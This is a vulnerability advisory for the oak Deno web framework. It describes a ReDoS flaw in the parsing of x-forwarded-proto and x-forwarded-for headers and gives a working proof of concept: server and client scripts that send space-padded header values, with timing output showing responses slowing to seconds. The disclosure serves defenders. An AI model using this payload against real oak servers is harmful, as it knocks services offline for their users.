Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers

Summary

With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.

Vulnerable Code

• https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
• https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142

PoC

• setup

deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3

• server.ts

import { Application } from "https://deno.land/x/oak/mod.ts";

const app = new Application({proxy: true});

let i = 1

app.use((ctx) => {

    // let url = ctx.request.url   // test1) x-forwarded-proto
    let ips = ctx.request.ips   // test2) x-forwarded-for
    console.log(`request ${i} received`)
    i++;
    ctx.response.body = "hello";
});

await app.listen({ port: 8080 });

• client.ts

const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');

async function run(data) {
    for (let i = 0; i < data.length; i++) {
        let d = data[i];

        const start = performance.now();

        await fetch("http://localhost:8080", {
            headers: {
                // "x-forwarded-proto": d,  // test1)
                "x-forwarded-for": d,    // test2)
            },
        });

        const end = performance.now();
        console.log('length=%d, time=%d ms', d.length, end - start);
    }
}

console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)

• run

deno run --allow-net server.ts
deno run --allow-net client.ts

[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms

[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms

Impact

A specially crafted value of the x-forwarded-proto or x-forwarded-for headers  can be used to significantly slow down an oak server.

Similar Issues

• https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6
  • https://github.com/denoland/deno/pull/17722
• https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693
  • https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff